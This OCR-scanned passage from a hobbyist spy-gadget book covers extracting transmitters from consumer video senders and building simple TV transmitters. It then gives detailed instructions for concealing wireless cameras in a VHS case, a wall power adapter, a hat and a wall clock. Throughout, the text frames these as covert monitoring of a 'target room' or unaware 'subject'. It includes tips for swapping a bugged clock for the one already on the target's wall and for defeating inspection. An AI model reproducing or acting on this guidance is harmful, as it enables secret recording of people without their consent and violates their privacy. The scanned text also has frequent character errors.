signal  conditioning  circuitry  to  enhance  the  video, 

I have  taken  these  units  apart  and  successfully 
made  the  transmitter  module  function  with  only  a 
video  source  and  a battery. 

Identify  the  transmitter  module,  then  unsolder 
the  pins  that  connect  it  to  the  circuit  board,  making 
note  of  any  pinout  marldngs  or  manufacturer’s 
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Project  59— Hacking  a Video  Sender 


Figure  10*1  A videtf  sender  pair  Jor  iransmisiinf  a video  ugnai  armmd  the  house. 


Figure  1 0*5  The  video  tninsmiuer  is  the  square  box  muunied  to  the  circuit  board. 


numbers  either  on  the  case  or  on  the  space  that 
once  held  the  vansmitter.  You  will  want  to  search 
for  a manufacturer's  data  sheet  in  order  to  Figure 
out  how  to  wire  up  the  module,  or  you  may  get 
lucky  and  have  (hem  labeled  on  the  circuit  board 
or  casing  of  the  actual  transmitter. 

As  shown  in  Figure  10'2.  the  transmitter  module 
is  the  obvious  square  box  mounted  to  the  circuit 
board.  In  this  photo  I have  pulled  the  lid  off  the 
transmitter  so  you  can  see  that  it  is  a very  well 
made  device  consisting  of  surface  mounted  RF 
components. 

After  removing  the  transmitter  module.  1 
searched  the  Internet  by  entering  the  stiiog  of 
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numbers  i^ied  on  the  sticker  and  eventually 
found  the  manufacturer's  datasheet.  Then.  I 
determined  that  the  module  would  accept 
8-12*volts  DC  on  pin  2.  and  a standard  NTSC 
video  source.  The  unit  could  transmit  audio  as 
well,  but  I was  ouly  iniere.sied  in  the  video  signal, 
so  I did  not  connect  those  pins.  To  test  the  unit.  I 
soldered  a 9>vok  battery  clip  to  the  power  input 
and  ground  pin.  then  soldered  the  video  output  and 
ground  wire  from  my  small  spy  camera  to  the 
appropriate  pins,  artd  connected  the  receiver  to  the 
monitor.  The  other  few  pins  were  used  to  switch 
between  the  four  available  transmit  channels,  so  1 
left  them  as  is.  selling  the  unit  to  the  default 
channel.  I also  removed  the  bulky  direciional 


Rgure  ^0*3  The  hacked  video  sender  is  reduced  to 
Its  bore  essentials. 


antenna  that  came  with  the  unit  and  replaced  it 
with  a 4>inch  length  of  hookup  wire.  As  soon  os 
the  monitor  came  on,  the  color  video  was  received 
with  perfect  stability,  just  is  it  was  when  the  unit 
was  functioning  as  a video  sender.  Figure  I0'3 
shows  how  little  space  the  hacked  video  sender 


Project  60 — Micro 

Purchasing  a micro  spy  transmitter  from  a spy 
store  can  by  a tricky  game  that  sometimes  requires 
you  to  do  more  research  on  the  company  you 
intend  to  purchase  from  than  the  actual  target  of 
your  intended  investigation.  Out  of  the  50  or  more 
spy  stores  I have  in  my  list  that  offer  micro  sized 
transmitters.  1 would  have  to  say  that  at  least  30  of 
them  advertise  claims  that  (he  transminers  they  sell 
have  amazing  extended  range  and  performance. 

You  can  usually  identify  these  online  shops  by 
their  claims  of  seliing  to  government  agencies  and 
law  enforcement,  or  their  wondrous  claims  of 
having  the  “world’s  smallest''  transmitter  or 
camera.  It  scents  like  everyone  has  the  weed's 
smallest  transmitter  these  days!  ] can  also  build  a 
video  transmitter  from  a single  transistor,  three 
resistors,  a coil  and  two  capacitors,  solder  it  in  a 


uses  once  reduced  to  its  minimal  wwiing 
compooeais. 

This  «nall  transmider  can  now  be  mounted 
into  a much  smaller  space,  and  offers  (be  same 
performance  as  its  original  crnihguradoa.  The  sad 
thing  about  all  of  (bis  is  that  many  of  these  so<alJed 
“spy  stores"  simply  purcha.se  video  senders  in  bulk, 
remove  the  modules,  (ben  label  them  as  high  tech 
spy  transminers  at  a premium  price.  In  fact,  with  a 
little  research,  you  could  nack  down  the  original 
manufacturer,  and  probably  buy  them  directly  for 
next  to  nothing,  or  have  a few  free  samples  sent  to 
you  for  testing.  These  modules  are  available  in 
900  MHz,  1 .2  GHz.  2.4  GHz  and  the  new  S GHz 
band,  and  range  in  size  bom  three  irKhes  square 
to  less  than  an  iiKh  square.  Of  course  not  all  spy 
stores  are  owned  and  oftcnud  by  amateurs  out  to 
moke  a quick  buck,  and  scHne  of  the  micro  sized 
traasmiiters  ore  truly  works  of  art  so  I will  show 
you  sane  of  (be  ones  1 use  in  the  next  section. 


Spy  Transmitters 

ball  with  no  circuit  board,  then  drop  a wad  of 
epoxy  on  it  and  sell  it  as  the  world's  smallest 
150  mW  spy  iranstnitier.  but  in  reality,  its 
performance  will  be  sketchy  at  a distance  greater 
than  10  feel  at  best.  If  you  plan  on  dropping  more 
than  $50  on  a transmitter,  then  you  should  expect 
quality,  and  stability  at  its  rated  range,  although 
this  number  is  usually  caHaied  a great  deal. 

I have  a large  collection  of  video  uunsminers 
from  various  sources,  so  I will  show  you  four 
of  (he  ones  I consider  dec^t  enough  for  actual 
surveillance  detailing  their  range,  stability, 
cost  and  size. 

Take  a look  at  some  of  my  transmitter  collection 
in  Figure  10-4.  All  of  them  are  considered  low 
power  (less  than  half  a watt),  and  each  operates  on 
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Project  60— Micro  Spy  Transmitters 


Project  6 0— Mi cro  Spy  Transmitters 


Figure  10*M  'Airious  micro  mmxmintrs  each  operate  on  a diSerent fretptency. 


a differem  frequency.  A small  spy  camera  and  a 
9'VoU  b&Uery  are  shown  for  size  comparison. 

Transmitter  <A)  is  actually  an  OEM  audio  video 
iran.smiiter  removed  from  a deparunent  store 
900  MHz  video  sender.  This  unit  has  rock  solid 
.stability,  audio  video  inputs,  and  runs  from  a 9- volt 
battery,  but  can  run  from  u DC  power  source  as 
low  as  5'volts.  The  video  sender  was  on  sale  for 
$29.95.  included  a decent  quality  plug  and  play 
receiver  unit,  and  a full  data  sheet  was  easily  found 
by  entering  the  manufacturer's  number  into  an 
Internet  ^iearch  engine.  I have  also  seen  (his 
EXACT  module  for  sale  on  at  least  10  so-called 
*'spy  store"  websites  ranging  in  price  from  $^.95 
to  over  $200.00,  and  it  did  not  even  include  the 
receiver!  Like  I said  earlier,  “buyer  beware.*' 

Transmitter  (Bl  was  custom  manufactured  in 
1990  by  a well-known  Inicmet  spy  camera 
supplier,  and  it  troosmiu  at  434  MHz  so  the  image 
con  be  directly  received  by  a television  tuned  to 
channel  59.  eliminating  the  need  for  a receiver 
unit.  At  the  lime,  there  were  not  many  players  in 
the  spy  u^nsmittcr  business,  so  this  one  was  a bit 
pricey  at  S230;  however,  at  the  time  it  was 
considered  to  be  very  small.  All  of  the  (ransistors 
and  the  SAW  oscillator  had  the  numbers  scraped 
off.  but  it  was  easy  to  reverse  engineer  the  unit  by 
applying  some  fingerprint  dust  to  (be  faces  of  the 
components  and  read  their  numbers  under  a 


microscope.  Tlie  unit  is  actually  very  well  built, 
and  does  transmii  at  the  mted  range,  although 
stability  becomes  a problem  as  the  battery 
weakens  and  if  (here  are  any  temperature  changes 
in  the  room.  If  (his  unit  were  for  sale  today.  I 
would  expect  it  (o  be  half  the  size,  include  audio 
(this  one  does  not)  and  sell  for  under  SI 00. 
Another  thing  (o  know  about  434  MHz  operation 
is  thai  you  are  required  to  have  a HAM  radio 
operator's  license  in  many  states,  provinces  and 
countries,  although  many  spy  stores  don't  inform 
buyers  that  specific  licenses  may  be  required 
feveenoin  transmitter  frequencies.  Clteck 
with  your  local,  siaie/provincial  and  federal 
rogulatctfs  before  buying  any  kind  of  transmitter 
equipment. 

Transmitter  (C)  is  a truly  beautiful  bit  of  artwork 
measuring  only  a half  inch  squared,  yet  includes  a 
rock  solid  video  transmitter,  and  an  audio  channel 
for  reception  at  1.2  GHz.  This  unit  will  run  from  as 
little  as  4.5  volts,  and  has  no  problem  right  up  to 
9> volts  (I  did  not  test  it  higher).  This  uait  was 
taken  from  the  inside  of  a very  small  video  camera 
that  was  part  of  a wireless  video  kit  (including  the 
receiver)  sold  on  several  online  stores  for  only 
S59.95.  Without  a doubt,  this  is  by  far  my  favorite 
transmiuer  due  to  its  size  and  great  performance, 
and  (he  quality  of  work  is  truly  inspiring  when 
viewed  under  a microscope.  The  unfortunate  thing 
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Rgufg  IQ'S  A rypicot  wfrtltsSS  video  receiver  suppUed 
• ith  rwny  tfvnmiuer  sets, 

^ ihai  .spy  store  am&ieurs  have  aJso  found  (his  unit, 
and  are  selling  it  for  well  over  a hundred  dollars 
without  a receiver,  claiming  it  is  their  own  design. 

I had  the  opportunity  to  cut  the  shnnk*wrap  off 
one  of  these  units,  and  yes,  it  was  the  exact  some 
circuit  board.  Ylkes! 

Transmitter  (D)  is  another  custom  }ob  the 

same  place  that  made  transmloer  <B).  and  it  is  a 
well-made  unit  transmitting  audio  and  video  in  (be 
2.4  GHz  band.  This  unit  works  very  weU.  runs 


fmui  a power  source  ranging  &om  9-12-volts  DC. 
and  does  not  drift  over  time  or  ffom  hear  variances. 
This  unii  does  not  have  aU  the  numbers  scraped 
fixMD  (be  components  in  a futile  yet  hilarious 
attempt  lo  siop  me  from  reverse  engineenng  ic. 
and  would  be  easy  to  repair  if  necessary.  This 
iransmitier  cost  under  $100,  but  did  not  include  a 
receiver,  although  any  receiver  Irom  a 2.4  GHz 
video  sender  kii  would  work.  This  transmitter 
was  worth  the  money. 

Unless  your  transminer  can  be  directly  received 
by  a television  set  you  are  going  to  need  a 
receiver,  which  is  sometimes  called  a ''down 
convener.*'  although  it  really  is  nor.  This  .small  box 
will  allow  you  to  plug  a patch  cable  Irom  the  audio 
and  video  output  connector  directly  into  a standard 
video  monitor.  VCR,  of  television  that  has  a 
coa^K)s^(e  input.  Most  of  the  receivers  will  have  a 
four  channel  selector  switch,  or  a tuning  dial  (great 
feature)  such  as  the  one  shown  in  Figure  10-5 
which  came  from  a wireless  camera  kit  1 reverse 
engineered  to  extract  the  very  small  transmitter  (C) 
shown  previously  in  Figure  KM. 

Well.  I hope  that  sheds  a little  light  on  the  world 
of  ‘'spy  stores'*  and  their  clainu  of  "super  range," 
and  "worid's  smallest"  everything.  Like  all 
producu,  you  must  do  your  homework.  learn  the 
technology,  and  look  for  opinions  on  chat  boards 
before  you  open  your  wallet  or  give  out  your  credit 
card  number.  Of  course,  you  could  always  build 
your  own  low-power  transmitter.  It's  really  not  as 
difficult  as  you  might  think,  and  I will  show  you 
how  in  (his  section. 


Project  61 — Simple  TV  Transmitter 


Are  you  wary  about  .sending  money  or  your  credit 
cord  number  to  an  online  "spy  store"  to  buy  a 
small  video  transmitter?  Well,  you  should  bel  As  I 
stated  earlier  in  this  section,  "buyer  beware  " Yes. 


you  can  tell  (hat  I don't  particularly  approve  of 
those  operations  that  claim  to  sell  the  world's 
smallest,  best  quality,  high-tech  spy  devices, 
exactly  like  the  ones  used  by  real  undercover 
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Project  61— S imp le  TV  Transmitter 


Project  6 l^S imp le  TV  Transmitter 
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Figure  10*6  A very  sitnpU  one  transistor  video  transmitter. 
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agents  world  wide.  Just  as  in  Section  9 where  you 
discovered  how  simple  ii  is  to  build  an  audio 
iransmitier  from  scratch,  you  will  be  glad  lo  know 
that  a video  transmitter  is  just  us  simple.  You  only 
need  to  wind  a single  coil  (refer  back  lo  Section  9). 
and  with  eight  common  components^  you  can  be 
transmitting  the  image  from  your  spy  camera 
around  the  house.  This  video  transmitter  may  not 
be  a rock  solid  performer  with  mega  range,  but  it 
will  only  cost  you  a few  pennies  to  build.  atKl.it 
does  get  (he  job  done.  Best  of  all.  you  get  to  say 
you  made  it.  which  is  truly  in  (he  spirit  of  the  Evil 
Genius. 

Take  a look  at  the  schematic  on  Figure  10-6,  and 
you  will  notice  that  it  is  very  similar  to  the  audio 
transmitter  schematics  shown  earlier  in  Section  9. 
This  is  because  they  work  on  exactly  the  same 
principle,  so  much  so  that  you  could  probably 
tweak  the  audio  transmitter  to  send  video  if  you 
wanted  to. 

The  transistor  forms  an  Rf  oscillator  whose 
frequency  is  determined  by  the  number  of  turns  in 
the  coil  and  the  capacitor  placed  in  paiaJlel  with  it 


Our  target  transmit  frequency  will  be  67.25  MHz 
(eight  turns  in  the  coil)  which  will  produce  a signal 
that  can  be  directly  received  by  a television  tuned 
to  channel  four  using  rabbit  cars  (remember 
those?).  By  tuning  a ferrite  slug  placed  into  the 
coll,  you  should  be  able  to  transmit  as  low  us 
channel  two  and  as  high  as  channel  five,  hut 
you  could  reduce  or  increase  the  number  of  turns 
in  the  coil  if  necessary.  The  variable  resistor  is  set 
so  (hat  the  input  video  signal  is  not  so  strong  that 
the  received  video  is  distoned  or  washed  out.  and 
this  varies  depending  on  the  camera  or  video 
equipment  used  as  the  source.  If  you  are  planning 
to  use  the  same  camera  at  alt  times,  just  set  the 
variable  resistor  to  a comfortable  level,  remove  lU 
measure  its  impedance,  then  replace  it  with  a fixed 
resistor  Like  all  RF  projects,  you  will  most  likely 
have  to  reiune  the  coil  once  you  transfer  the 
woiidng  circuit  from  the  prototyping  board  to  your 
circuit  board,  but  once  done,  it  will  exhibit  much 
more  stable  operation.  1 built  my  circuit  directly 
to  a small  bit  of  perf  board,  as  it  was  so  simple, 
and  I already  knew  the  circuit  was  functional  froa 


FI  g u re  10»7  The  baxk  video  transmitter  ready  for 
action. 


previous  experimeniaiion.  Figure  10-7  shows  the 
completed  video  transmitter,  ready  for  many  hoim 
of  operation  a 9-vok  battery. 


This  little  transmitter  is  by  no  means  a 
professional  unit,  Ixjt  it  does  indeed  work  to  a 
distance  of  about  150  feet  with  half  decent 
picture  quality,  and  as  long  as  the  unit  is  not 
being  moved,  uabiliiy  is  satisfactory.  Because  of 
the  minimal  component  count,  you  could 
probably  matf**  the  circuit  as  small  as  ~ inches 
squared,  or  build  it  directly  into  the  ca.sing  of 
whatever  equipment  you  are  transmitting  the 
video  signal  from.  If  your  soldering  skills  arc 
top  notch  and  you  enjoy  a challenge,  then  try  to 
build  the  transminer  using  surface  mount 
components,  and  you  may  be  able  to  reduce  it 
in  size  to  less  than  the  head  of  a thumbtack.  For 
the  record.  I tested  video  transmitters  available 
at  cenain  spy  shops  that  do  nm  outperform  this 
simple  unit,  and  they  cost  more  than  SSO,  so 

(his  project  may  be  worth  experimenting  with. 

Kow  if  you  need  audio  as  well  as  video,  then 
read  on.  as  the  component  count  does  not 
increase  all  that  much. 


Project  62 — TV  Transmitter  Lulth  Radio 


Here  is  a simple  audio  video  transmitter  that  can 
be  received  directly  on  channel  five  (175.25  MHzi 
using  a television  set  with  an  antenna.  This  unit 
vvould  be  classified  us  medium  power  by  spy 
stores,  and  probably  have  a claimed  range  of  a few 
miles,  but  in  reality,  you  can  expect  to  receive 
stable  video  up  to  a few  hundred  feet,  which  is 
certainly  rea.sonabIe.  This  unit  consists  of  an  RF 
oscillator  formed  by  irarLsisior  Ql  and  the 
coil/variable  capacitor  tank  circuit  coooected  to  its 
collector.  The  frequency  is  (ine-iuned  by  adjusting 
the  variable  capacitor,  but  if  you  wanted  to 
experiment,  you  could  replace  the  variable 
capacitor  with  a fixed  value  10  pf  capacitor,  and  a 
slug  tuned  coil  just  like  the  previous  transmitter. 
You  will  also  need  a SIF  coil,  which  can  be 


salvaged  from  on  old  radio,  or  some  other  RF 
circuit  board.  A SIF  coil  is  a small  silver  can 
containing  a transfnmer  and  a 220  pf  capacitor  in 
parallel  with  one  of  the  windings  (this  will  be 
visible  by  looking  at  the  underside  of  the  can). 
This  circuit  is  a bit  more  complex  than  the  other 
iransmitierv  in  this  book,  and  should  be  built 
directly  to  a circuit  board  or  perf  board  as  it  may 
not  wwk  properiy  on  a prototyping  board.  The 
circuit  does  indeed  work,  and  has  been  floating 
around  the  Internet  and  published  in  several  public 
domain  circuit  books  over  the  years,  so  ] guarantee 
you  that  if  built  properly,  it  will  work  ju.st  fine. 

The  schematic  is  shown  in  Figure  10-8  (the  SIF 
coil  with  its  built-in  capacitor  is  shown  by  the 
dotted  square  box). 
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Project  62— TV  Transmitter  with  Audio 


Project  62— TV  Transmitter 


Tnur\4i0>tyare^hJTE229 


FlQUrs  ID-6  The  wuUo  sideo  trammiuer  ichtmaik. 


1 have  not  yet  reduced  this  cinniit  in  size  to  see 
hnw  small  I can  build  it.  so  you  might  warn  to 
instsll  the  components  with  room  lo  breathe  as 
I have  done  in  my  working  unit  shown  in 
Figure  10-9.  Tm  sure  that  with  a little  patience  you 
could  reduce  the  size  of  this  transmitter  to  no  more 
than  a?  inch  squared,  but  it*s  good  to  see  it 
actually  function  before  hacking  away  at  ii;  after 
all,  this  circuit  is  a bit  more  complex  than  the 
others  1 have  shown  as  il  does  operate  post 
150  MHz.  which  seems  to  be  the  '‘finicky"  point 
where  component  placement  becomes  an  issue. 
This  transmitter  would  really  be  most  comfortable 
on  a real  circuit  board  placed  in  a metal  cabinet 
but  it  did  work  as  1 have  built  it.  and  someday  I 
will  indeed  de.sign  a nice  compact  circuit  for  this 
unit.  You  may  also  notice  the  fact  that  my  test 


R9ure  10-9  The  audio  video  imnsminer  buiU  or  u r« 
of perf  board  for  lesliag. 
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exposed  OD  my  desk  and  widi  a random  bit  of  wire 
for  tbe  anlenna.  I was  very  pleased  with  the  results. 
If  you  keep  hacking  away  at  tiansroiTter  designs,  it 
woo’t  be  long  before  you  sian  designing  your  own 
cirruils.  with  increasing  range  and  stability.  There 
is  an  amazing  amount  of  information  to  be  learned 
by  combing  the  Internet  for  amateur  and  pirate 
radio  circuit  sites.  Now  let’s  put  some  of  these 
u^smiftere  to  use  in  creative  ways. 


Project  63 — The  Movie  That  Lilatches  You 

You  likely  built  or  purchased  a video  transmitter 
that  will  allow  you  to  hide  the  unit  and  avoid 
obvious  wires,  or  to  allow  you  to  place  tbe  camera 
in  an  area  that's  unreachable  by  wires.  Once  you 
have  your  audio  and  video  streaming  through  the 
air  like  magic,  you  need  to  use  your  imagination  to 
conceal  both  the  transmitter  and  the  microcamera 
so  that  they  both  blend  into  the  surroundings  like  a 
stealthy  chameleon.  This  is  always  the  fun  pan  of 
the  job  which  is  limited  only  by  your  twisted  Evil 
Genius  imagination! 

There  is  a very  functional  and  stealthy  way  to 
install  a camera  and  transmitter  that  allows  the 
equipment  to  blend  into  the  surrounding 
environment,  while  positioning  the  camera  directly 
into  the  target  area.  Because  we  are  using  a VHS 
movie  case  to  insmll  the  camera  and  transmitter, 
you  can  simply  slip  on  whatever  movie  cover  you 
like,  slit  a small  hole  in  the  case  for  the 
nucrocamera  len.<^,  and  let  the  unit  go  to  wort:.  This 
installation  method  allows  you  to  place  a spy 
camera  in  any  area  where  a movie  would  not  seem 
out  of  place,  or  it  can  be  substituted  for  a movie 
already  in  the  target  room  by  simply  removing  Lbc 
real  VHS  tape  and  placing  the  cover  over  your 
hidden  camera  movie  unit. 

For  this  project.  1 used  a low  lux  color  conical 
pinhole  lens  camera,  an  audio  video  transmitter 


hacked  from  a video  sender,  and  a rechargeable 
*>-voli  banery  to  power  the  uuii  for  several  hours. 
Figure  lO^lO  shows  the  individual  components 
used  in  this  insiaUaiion. 

Remove  the  five  small  screws  that  hold  the  VHS 
tape  shell  together,  and  gut  everything  from  the 
inside  of  the  unit  lo  allow  mounting  of  the 
transmitter,  camera  and  battery.  You  can  use  a few 
bits  of  douhle-sidcd  tape  or  a glue  gun  to  position 
all  of  the  components,  which  will  allow  for  eyy 
removal  for  use  in  other  projects.  The  hole  for  the 
pinhole  lens  should  be  no  bigger  than  necessary, 
but  don't  worry  if  you  had  to  make  ii  larger  due  lo 


Figure  IQ^IO  Thh  m<7vie  will  soon  be  watching  you- 


circuit  is  made  using  some  really  big  can  style 
transiston  from  the  Dark  Age.  Hey,  when  you’re 
hacking,  use  what  pans  you  have  available! 

Again,  performance  is  certainly  adequate 
considering  the  amount  of  time  it  lakes  to  whip 
this  project  up,  and  the  low  component  count  The 
unit  does  seem  to  work  much  beoer  in  a fwsper 
.steel  case  with  a solid  antenna,  but  considering  my 
initial  testing  was  done  with  the  circuit  board 


Project  63— The  Movie  That  Watches  You 


Project  63— The  Movie  That  Hatches  You 


Figure  10*11  Mounting  the  components  into  the  casing  Mth  doubte-sided  tope. 


an  align  mem  error,  the  tape  cover  will  tiike  core  of 
that  later.  As  shows  in  Figure  ID- 11. 1 also  chose 
to  install  a power  switch  so  I could  replace  the 
battery  in  my  shop  then  bring  the  unit  lo  ihe  target 
site  without  wasting  power. 

If  there  is  a chance  that  the  tape  may  be 
inspected  by  the  subject  under  surveillance,  (hen 
you  may  want  to  avoid  the  power  switch,  or  use 
something  less  obvious  like  a mercury  switch,  or 
microswitch.  With  a Mule  work,  you  can  make 
this  tape  completely  conceal  tis  contents  by 
placing  some  black  paper  on  the  inside  of  the 
transparent  tape  reel  windows  or  by  painting  them 
black.  The  completed  VHS  spy  tape  will  weigh 
approximately  the  same  as  a normal  movie,  and 
will  even  allow  Insenion  into  a VCR  without  any 
problem  (the  VCR  will  simply  spit  it  back  out). 
With  a little  patience,  you  can  place  the  camera 
lens  in  such  a position  that  the  required  hole  will 
end  up  in  the  middle  of  some  round  letter  or  digit 
on  the  box  cover,  making  ii  almost  undetectable. 
Figure  10-12  shows  the  completed  installation 
with  the  tiny  camera  lens  placed  in  the  center 
of  a small  character  printed  on  the  box  cover. 

Even  at  close  inspection,  (here  is  nothing  that 
would  moke  you  look  twice  at  this  sneaky  little 
spy  gadget. 


FI9UT0  I0'I2  Gan  find  the  lens  hole?  This  spy 
device  easily  avoids  detection 

Another  nice  feature  about  this  installation  is 
that  it  can  be  placed  just  about  anywhere  in  a 
room,  and  turned  (o  any  angle  you  want  without 
looking  out  of  place.  If  the  target  room  does  not 
have  a VHS  machine,  a hollowed  out  book  would 
also  blend  in  well  in  most  rooms  without  drawls^ 
too  much  attention. 
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Project  BM — UJall  UJart  Video  Bug 


Here  is  a sneaky  way  to  install  a wireless  video 
spy  device  without  the  bother  of  changing  the 
baneries  as  it  is  powered  by  (he  very  device  that 
conceals  its  trite  evil  nature.  Since  spy  cameras 
and  transmitters  are  so  tiny,  you  should  have  no 
problem  finding  a DC  adapter  with  the  correct 
voltage  and  enough  room  to  spare  inside  its  plastic 
boK  to  mount  both  the  camera  and  the  transminer. 
The  nice  thing  about  this  instatladoo  is  that  it  does 
not  destroy  the  host,  allowing  it  to  fully  funchoo  as 
its  intended  use  as  a DC  adapter,  making  for  an 
e^ttremely  covert  installation.  The  key  is  to  find  a 
DC  adapter  with  the  correct  voltage  that  you  can 
take  apart  without  the  need  for  a large  hammer 
(most  of  them  are  glued  together).  Sure,  you  could 
saw  away  at  the  edges  of  the  casing  with  a 
hacksaw  until  it  opens,  but  it  was  much  easier  to 
just  fmd  an  adapter  with  removable  screws  like  ihe 
one  shown  in  Figure  tCkl3. 

You  may  have  to  do  a bit  of  searching  to  find  an 
adapter  with  enough  spare  room,  but  If  you  have 


no  luck,  then  there  are  a few  options.  You  could 
break  open  a Urge  DC  adapter,  rued  at  way 
more  amperage  than  you  will  ever  need,  remove 
its  internal  parts  and  replace  them  with  che 
inttmals  from  a smaller  DC  adapter  with  enough 
power  for  your  camera  and  traosmiiier.  You  could 
also  remove  the  small  circuit  board  containing 
the  bridge  rectifier  and  capacitor,  and  relocate 
it  to  a different  place  inside  the  shell,  or  reduce  Us 
size  by  hand  wiring  the  diodes  and  capacitor 
without  any  circuit  board  at  all.  Wiih  a little 
patience,  you  will  find  a way  to  make  this  happen 
by  playing  around  with  camera  and  transminer 
placement.  Figure  lO^ld  shows  one  of  (he 
places  that  both  the  camera  and  transmitter  fit 
well  inside  the  DC  adapter  shell.  In  this  cose. 

I did  not  have  to  modify  anything,  as  there  was 
ample  room  for  both. 

You  will  want  to  be  very  careful  not  to  place 
anything  conductive  over  the  AC  power  pins  or  any 
pan  of  the  unshielded  conductors  leading  from 


Figure  10-13  Opening  ihe  DC  adapter  to  insiafl  the 
camera  and  Iransmitler, 


RguTE  l(WM  Fitting  the  camera  and  transmitter 
into  the  DC  adapter  ease. 


Project  65— Covert  Hat  Cam 


Rgure  1 0-1 6 This  stealihy  covert  spy  adapter  is 
watching  your  every  move. 

these  pins  to  the  transformer  [i's  best  to  place 
some  epoxy,  or  hoi  glue  over  these  points  before 
you  even  begin,  or  you  svill  be  in  for  an  unpleasant 
surprise  when  you  plug  the  unit  into  the  wall.  Also, 
if  your  adapter  is  naed  for  300  milliamps.  und  your 
camera  and  transmitter  are  going  to  leech  100 
milliamps.  then  you  may  not  have  enough  power 
left  over  to  power  whatever  device  the  DC  adapter 
was  intended  for  if  you  still  plan  on  using  it  like 


that.  This  is  not  likely  though,  as  these  things  are 
normally  ovemited,  but  it  is  something  to  keep  in 
mind  when  doing  this  hack.  When  it's  all  done, 
you  will  have  an  extremely  stealthy  installation 
that  will  be  almasi  totally  undetectable.  Overall 
range  may  not  be  optimal  though  due  to  the 
shortened  antenna  wire  and  proximity  to  the  AC 
iiansfonner,  but  you  should  be  able  to  pick  up  the 
video  signal  Irom  anywhere  in  the  house.  If  you 
really  want  to  improve  the  range,  just  glue  the 
antenna  wire  around  the  outside  of  the  plastic 
adapter  case  alMtg  the  groove  that  splits  die  two 
halves  of  the  casing.  This  disguises  the  wire 
and  allows  a much  greater  range.  Figure  10-15 
shows  my  completed  DC  spy  adapter  hanging 
inconspicuously  olT  the  wall  and  never  needing 
a battery  change. 

The  one  drawback  (o  this  installation  Is  that  (he 
camera  angle  is  dictated  by  the  location  of  tlte  wall 
plug.  60  you  may  have  to  hunt  around  for  the  best 
spot  IQ  plug  the  unit  in,  or  place  it  on  an  extension 
cord  on  the  floor.  If  you  have  more  titan  enough 
room  in  (he  DC  adapter  casing,  you  could  actually 
mount  the  camera  on  whatever  angle  best  suits 
(he  room,  provided  you  have  thi.s  information 
ahead  of  time. 


Project  65 — Covert  Hat  Cam 


Mode  famous  by  undercover  television  shows,  the 
covert  hat  cam  is  a valuable  spy  tool  as  it  tels  you 
record  whatever  you  happen  to  be  looking  at  This 
unit  is  also  wireless,  so  you  do  not  have  to  cany  the 
bulky  recording  device  and  the  large  battery  needed 
to  power  it.  You  will  want  to  use  the  flattest  devices 
you  can  find,  preferably  a tronsmiOCT  and  camera 
that  ore  no  thicker  then  a 9‘ToU  boOeryt  (his  way  you 
can  comfortably  wear  the  hat  in  a noiKonspicuous 
manner.  Your  camera  should  also  have  a tiny  pinhole 
lens,  as  you  may  be  up  dose  to  your  target 


Rgure  10*  16  shows  the  small  camera, 
transmitter  and  9-voh  battery  held  in  place  by 
double  sided  tape.  I will  also  add  the  cap  portion 
of  another  bat  to  the  inside  of  this  hat  to  further 
disguise  the  internals  in  the  unlikely  chance  that  I 
have  to  take  the  hat  off.  The  two  hats  will  be  held 
together  either  by  snaps  or  a few  bits  of  Velcro  for 
easy  access  to  the  battery. 

Tbe  bat  color  should  be  as  dark  as  possible  so 
(here  is  no  contrast  between  the  camera  lens  and 
material,  and  the  lens  hole  should  be  placed  as 
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Figure  10-16  7^^  transmititr.  camera  and  banery  ore 
in^ialUd  inside  tht  hat. 


forward  facing  as  possible  in  a place  ibai  belps  lo 
conceal  \x.  such  as  between  a seam  or  behind  a 
logo.  In  my  insiallation,  (he  (iny  lens  hole  is  placed 
between  the  words  '^extreme  machines'*  in  ihe 
mighty  cool -looking  Atomic  Zombie  hat  courtesy 
ofXiremeclothes.com  (Figure  10-17). 

For  the  antenna,  you  con  wrap  a foot  or  two  of 
wire  around  the  inside  peKmcter  of  ihc  hat.  or 
carefully  glue  it  along  the  underside  of  the  visor. 
Either  way,  the  transmitter  should  offer  full  range, 


Figure  I0>I7  This  cown  spy  hai  works  great  and 
looks  esiremetv  cool. 


as  there  is  nothing  to  interfere  or  block  the  radio 
signal.  The  only  other  feature  you  may  wish  to 
include  is  a hidden  switch  to  conserve  battery  power 
when  the  unit  does  not  need  to  be  functioning.  A 
tiny  microswitch  ai  ihc  rear  of  the  hat  will  not  draw 
any  attention,  and  can  be  accessed  by  pretending  to 
scratch  the  back  of  your  head. 


Project  66 — LUall  Clock  Camera 


What  time  is  it,  you  ask?  Well.  i(*$  spying  time  as 
usual  my  ev[]  fnendl  Now.  you  can  tell  the  time 
and  watch  an  entire  room  by  simply  drilling  on 
inconspicuous  hole  in  a wall  clock  and  installing 
the  microcamera  and  transmitter.  If  your  wall 
clock  is  powered  from  an  AC  source,  then  you 
won't  even  have  to  worry  about  changing  the 
battery.  This  project  is  also  great  for  those 
"swiicberoo"  operations  as  you  can  almost  always 
purchase  the  same  wall  clock  that  Is  already 
hanging  on  the  target  wall  and  simply  .swap  it  with 
your  spy  version  when  die  window  of  opportunity 


arrives.  The  only  obstacle  you  may  encounter  is 
the  depth  of  your  camera  and  the  amount  of  space 
available  behind  the  clock,  but  many  inexpensive 
black  and  white  pinhole  cameras  are  no  thicker 
than  half  an  inch.  Figure  10-18  shows  my 
transmitter,  battery  and  camera  mounted  to  the 
backside  of  the  wall  clock  with  plenty  of  room  to 
spare,  and  ample  clearance  between  the  camera 
and  the  higheAt  point  on  the  clock. 

The  video  components  are  held  in  place  with 
double-sided  tape  and  ibe  battery  with  a clip  for 
ea.sy  removal  when  necessary.  If  you  need  a longer 
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6 7 — Kami ka  z e Video  Transmit 


^ There  may  come  a time  when  you  do  noi  have 
^ access  to  the  area  to  be  monitored,  yet  it  is 
•r*t  imperative  that  you  gel  a camera  installed  even 
0 though  you  may  never  sec  it  again.  I like  to  call 
M this  a Kamikaze  mission,  as  your  camera  may 
04  never  come  home  alive,  even  if  it  does  survive  the 


brutal  fli^  to  the  target  location.  This  procedure 
works  equally  as  well  for  audio  bugs  as  for  camera 
uansenin^  and  usually  gets  the  }ob  done.  Ths 
idea  is  lo  hurt  (he  traiLsmitCing  device  into  the 
target  area  Crom  a safe  distance,  hoping  it  lands  in 
such  a position  that  allows  you  to  acquire  whatever 


FI  gu  re  1 0*19  Thf  comera.  irwisniii/tr  and  haiitn 
mounied  hfhimi  ihe  wail  clock. 

run  lime,  then  a six  or  eight  AA  battery  pock 
should  easily  fit  behind  the  dock  and  increase  your 
run  time  to  several  days  as  compared  to  several 
hours  for  a typical  9*volt  battery.  The  camera  lens 
hole  should  be  drilled  in  a place  that  does  not  draw 
attention  such  as  just  above  a number,  or  between 
